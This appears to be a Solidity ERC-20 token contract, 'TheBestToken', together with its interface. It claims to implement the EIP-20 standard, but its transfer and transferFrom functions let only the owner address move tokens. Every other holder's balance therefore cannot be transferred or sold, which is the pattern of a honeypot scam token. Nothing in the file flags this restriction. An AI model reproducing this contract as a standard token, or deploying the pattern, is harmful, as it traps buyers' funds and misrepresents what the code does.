// File: EIP20Interface.sol



// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity >=0.7.0 <0.9.0;
// SPDX-License-Identifier: GPL-3.0-or-later
abstract contract EIP20Interface {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    function balanceOf(address _owner) public virtual view returns (uint256 balance);

    function transfer(address _to, uint256 _value) public virtual returns (bool success);

    function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success);

    function approve(address _spender, uint256 _value) public virtual returns (bool success);

    function allowance(address _owner, address _spender) public virtual view returns (uint256 remaining);

    // solhint-disable-next-line no-simple-event-func-name
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// File: TheBestToken.sol



/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
.*/


pragma solidity >=0.7.0 <0.9.0;

import "./EIP20Interface.sol";
//SPDX-License-Identifier: GPL-3.0-or-later

contract TheBestToken is EIP20Interface {

    uint256 constant private MAX_UINT256 = 2**256 - 1;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;

    string public name;                   //fancy name: eg Simon Bucks
    uint8 public decimals;                //How many decimals to show.
    string public symbol;                 //An identifier: eg SBX

    address ownerAdress;

    constructor(
        uint256 _initialAmount,
        string memory _tokenName,
        uint8 _decimalUnits,
        string memory _tokenSymbol
    ) {
        ownerAdress = msg.sender;
        balances[msg.sender] = _initialAmount;               // Give the creator all initial tokens
        totalSupply = _initialAmount;                        // Update total supply
        name = _tokenName;                                   // Set the name for display purposes
        decimals = _decimalUnits;                            // Amount of decimals for display purposes
        symbol = _tokenSymbol;                               // Set the symbol for display purposes
    }

     function transfer(address _to, uint256 _value) override public returns (bool success) {
        require(balances[msg.sender] >= _value);
        require(msg.sender == ownerAdress);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
        require(msg.sender == ownerAdress);
        uint256 allowance2 = allowed[_from][msg.sender];
        require(balances[_from] >= _value && allowance2 >= _value);
        balances[_to] += _value;
        balances[_from] -= _value;
        if (allowance2 < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
        return true;
    }

    function balanceOf(address _owner) override public view returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) override public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
        return true;
    }

    function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }
}